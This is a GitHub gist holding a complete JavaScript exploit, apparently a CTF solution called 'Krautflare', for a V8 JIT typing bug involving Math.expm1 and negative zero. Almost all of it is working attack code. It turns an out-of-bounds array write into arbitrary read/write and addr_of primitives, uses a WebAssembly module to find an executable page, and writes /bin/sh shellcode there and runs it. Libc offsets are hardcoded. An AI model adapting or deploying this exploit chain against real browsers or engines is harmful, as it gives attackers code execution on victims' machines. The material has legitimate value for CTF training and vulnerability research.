Skip to content

Instantly share code, notes, and snippets.

@jaybosamiya
Created January 3, 2019 03:31
Show Gist options
  • Save jaybosamiya/51252476e7b2924f1931b10ffdb67b87 to your computer and use it in GitHub Desktop.
Save jaybosamiya/51252476e7b2924f1931b10ffdb67b87 to your computer and use it in GitHub Desktop.
// Krautflare Solution
// Author: f0xtr0t
let early_object_only_for_addresses = [1,2,3,4,5.1];
// Server/Local differences
const SERVER = true;
const FPUTC_OFFSET = SERVER ? 0x877e0n : 0x6ef10n;
const PRINTF_OFFSET = SERVER ? 0x64e80n : 0x4f190n;
const PUTS_OFFSET = SERVER ? 0x809c0n : 0x68f90n;
const ENVIRON_OFFSET = SERVER ? 0x3ee098n : 0x39bf38n;
const RET_OFFSET = SERVER ? 0x8F68Cn : 0x205D0n;
const POP_RDI = SERVER ? 0x2155fn : 0x1fc6an;
const BINSH = SERVER ? 0x1B3E9An : 0x1619D9n;
const SYSTEM_OFFSET = SERVER ? 0x4F440n : 0x3f480n;
// Auxiliary Functions
let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);
BigInt.prototype.hex = function() {
return '0x' + this.toString(16);
};
BigInt.prototype.i2f = function() {
int_view[0] = this;
return float_view[0];
}
BigInt.prototype.smi2f = function() {
int_view[0] = this << 32n;
return float_view[0];
}
Number.prototype.f2i = function() {
float_view[0] = this;
return int_view[0];
}
Number.prototype.f2smi = function() {
float_view[0] = this;
return int_view[0] >> 32n;
}
Number.prototype.i2f = function() {
return BigInt(this).i2f();
}
Number.prototype.smi2f = function() {
return BigInt(this).smi2f();
}
// ____ _ _
// / ___|| |_ __ _ __ _ ___ / |
// \___ \| __/ _` |/ _` |/ _ \ | |
// ___) | || (_| | (_| | __/ | |
// |____/ \__\__,_|\__, |\___| |_|
// |___/
//
console.log("[ ] Stage 1: Use bug to obtain \"stable\" OOB RW");
const NUM_LOOPS_FOR_OPTIM = 10000; // Change this if it is not optimizing
function _auxiliary_(minusZero, isstring) {
let aux_x = minusZero ? -0 : (isstring ? "0" : 0);
let aux_a = {aux_z : Math.expm1(aux_x), aux_y : -0};
aux_a.aux_y = Object.is(aux_a.aux_z, aux_a.aux_y);
return aux_a.aux_y;
}
let oob_buffer = undefined;
let oob_buffer_unpacked = undefined;
let oob_buffer_packed = undefined;
function trigger(minusZero, isstring) {
// The arrays we shall target
let a = [0.1, 0.1, 0.1, 0.1, 0.1, 0.1];
let b = [1.1, 1.2, 1.3, 1.4, 1.5];
let c = [{}, 2.2, 2.3, 2.4, 2.5, 2.6, 2.7, 2.8];
let d = [3.1, 3.2, 3.3, 3.4];
// Trigger the actual bug
let aux_a = { aux_z : 1.2 };
aux_a.aux_z = _auxiliary_(minusZero, isstring);
let i = aux_a.aux_z + 0; // Real: 1, Feedback type: Range(0, 0)
// Change `b.length` to 1024 * 1024
a[i * 16] = (1024*1024).smi2f();
// Expose OOB RW buffer to outside world, for stage 1
oob_buffer = b;
oob_buffer_unpacked = c;
oob_buffer_packed = d;
return i == 0 ? 'untriggered' : a[i];
}
if (trigger(false, false) != 'untriggered') {
throw "[FAIL] Unexpected return value in unoptimized trigger";
}
for (var zz = 0 ; zz < NUM_LOOPS_FOR_OPTIM ; ++zz) { trigger(false, false); }
// %OptimizeFunctionOnNextCall(trigger);
if (trigger(false, true) != 'untriggered') {
throw "[FAIL] Unexpected return value in first-level optimized trigger";
}
for (var zz = 0 ; zz < NUM_LOOPS_FOR_OPTIM ; ++zz) { trigger(false, false); }
// %OptimizeFunctionOnNextCall(trigger);
if (trigger(true, true) == undefined) {
throw "[FAIL] Unable to trigger bug"
}
if ( oob_buffer.length < 1024 ) {
throw "[FAIL] Triggered bug, but didn't update length of OOB RW buffer";
}
console.log("[+] Completed");
// ____ _ ____
// / ___|| |_ __ _ __ _ ___ |___ \
// \___ \| __/ _` |/ _` |/ _ \ __) |
// ___) | || (_| | (_| | __/ / __/
// |____/ \__\__,_|\__, |\___| |_____|
// |___/
//
// Use the OOB RW Buffer(s) to
// + get an Arbitrary RW primitives
// + get a `addr_of` primitive
// + leak address of backing pointer of `oob_buffer_unpacked`
console.log("[ ] Stage 2: Obtain leak and arbitrary RW primitives");
const RW_OFFSET = 38;
const ADDR_OFFSET = 18;
const BACKING_POINTER_OFFSET = 15n;
const leaked_addr_backing = oob_buffer[RW_OFFSET].f2i() + BACKING_POINTER_OFFSET;
const LEAKED_ADDR = addr_of(early_object_only_for_addresses);
console.log(" + Leaked addr: " + LEAKED_ADDR.hex());
// Expects addr as bigint
function arb_read(addr) {
let old = oob_buffer[RW_OFFSET];
oob_buffer[RW_OFFSET] = (addr - BACKING_POINTER_OFFSET).i2f();
r = oob_buffer_packed[0].f2i();
oob_buffer[RW_OFFSET] = old;
return r;
}
if (arb_read(leaked_addr_backing + 16n).i2f() != 3.3) {
console.log(arb_read(leaked_addr_backing + 16n).i2f());
throw "[FAIL] arb_read failed sanity check";
}
console.log(" + Defined arb_read");
// Expects addr and val as bigint
function arb_write(addr, val) {
let old = oob_buffer[RW_OFFSET];
oob_buffer[RW_OFFSET] = (addr - BACKING_POINTER_OFFSET).i2f();
oob_buffer_packed[0] = val.i2f();
oob_buffer[RW_OFFSET] = old;
}
arb_write(leaked_addr_backing + 8n, (1.337).f2i());
if (oob_buffer_packed[1] != 1.337) {
throw "[FAIL] arb_write failed sanity check";
}
console.log(" + Defined arb_write");
// Expects an object as argument
function addr_of(o) {
let old = oob_buffer_unpacked[0];
oob_buffer_unpacked[0] = o;
let r = oob_buffer[ADDR_OFFSET].f2i();
oob_buffer_unpacked[0] = old;
return r;
}
(function (){
let t1 = {};
let t2 = {};
let a1 = addr_of(t1) & (~0xffffn);
let a2 = addr_of(t2) & (~0xffffn);
let a3 = leaked_addr_backing & (~0xffffn);
if (a1 != a2 || a1 != a3) {
throw "[FAIL] addr_of failed sanity check"
}
})();
console.log(" + Defined addr_of");
addr_of("test_obj");
console.log("[+] Completed");
// ____ _ _____
// / ___|| |_ __ _ __ _ ___ |___ /
// \___ \| __/ _` |/ _` |/ _ \ |_ \
// ___) | || (_| | (_| | __/ ___) |
// |____/ \__\__,_|\__, |\___| |____/
// |___/
//
// Create rwx page
console.log("[ ] Stage 3: Use WASM to create an RWX page");
const wasm_simple = [
0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x08, 0x02, 0x60,
0x01, 0x7f, 0x00, 0x60, 0x00, 0x00, 0x02, 0x19, 0x01, 0x07, 0x69, 0x6d,
0x70, 0x6f, 0x72, 0x74, 0x73, 0x0d, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74,
0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x00, 0x00, 0x03, 0x02, 0x01,
0x01, 0x07, 0x11, 0x01, 0x0d, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x65,
0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x00, 0x01, 0x0a, 0x08, 0x01, 0x06,
0x00, 0x41, 0x2a, 0x10, 0x00, 0x0b
];
let wasm_buffer = new ArrayBuffer(wasm_simple.length);
const wasm_buf8 = new Uint8Array(wasm_buffer);
for (var i = 0 ; i < wasm_simple.length ; ++i) {
wasm_buf8[i] = wasm_simple[i];
}
let rwx_page_addr = undefined;
var wasm_importObject = {
imports: {
imported_func: function(arg) {
// wasm_function -> shared_info -> mapped_pointer -> start_of_rwx_space
let a = addr_of(wasm_func);
// console.log(a.hex());
a -= 1n;
a += 0x18n;
// console.log(a.hex());
a = arb_read(a);
// console.log(a.hex());
a -= 0x91n;
a = arb_read(a);
// console.log(a.hex());
rwx_page_addr = a; // arb_read(arb_read((addr_of(wasm_func) - 1n) + 0x18n) - 0x91n);
console.log(" + rwx_page_addr = " + rwx_page_addr.hex());
stages_after_wasm();
}
}
};
async function wasm_trigger() {
let result = await WebAssembly.instantiate(wasm_buffer, wasm_importObject);
return result;
}
let wasm_func = undefined;
wasm_trigger().then(r => {
// %DebugPrint(r.instance.exports.exported_func);
f = r.instance.exports.exported_func;
wasm_func = f;
f(); });
console.log("[+] Completed");
// ____ _ _ _
// / ___|| |_ __ _ __ _ ___ | || |
// \___ \| __/ _` |/ _` |/ _ \ | || |_
// ___) | || (_| | (_| | __/ |__ _|
// |____/ \__\__,_|\__, |\___| |_|
// |___/
let shellcode = [
0x9090909090909090n,
0x91969dd1bb48c031n,
0x53dbf748ff978cd0n,
0xb05e545752995f54n,
0xcccccccccc050f3bn
];
// Standard x64 shellcode from shellstorm (806). Made into little
// endian 64 bit numbers, and padded at the end with int3
// instructions.
function stages_after_wasm() {
for (var i = 0 ; i < shellcode.length ; ++i ) {
let a = rwx_page_addr + (BigInt(i) * 8n);
arb_write(a, shellcode[i]);
console.log(a.hex() + ' ' + arb_read(a).hex());
}
// console.log(rwx_page_addr.hex());
wasm_func();
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment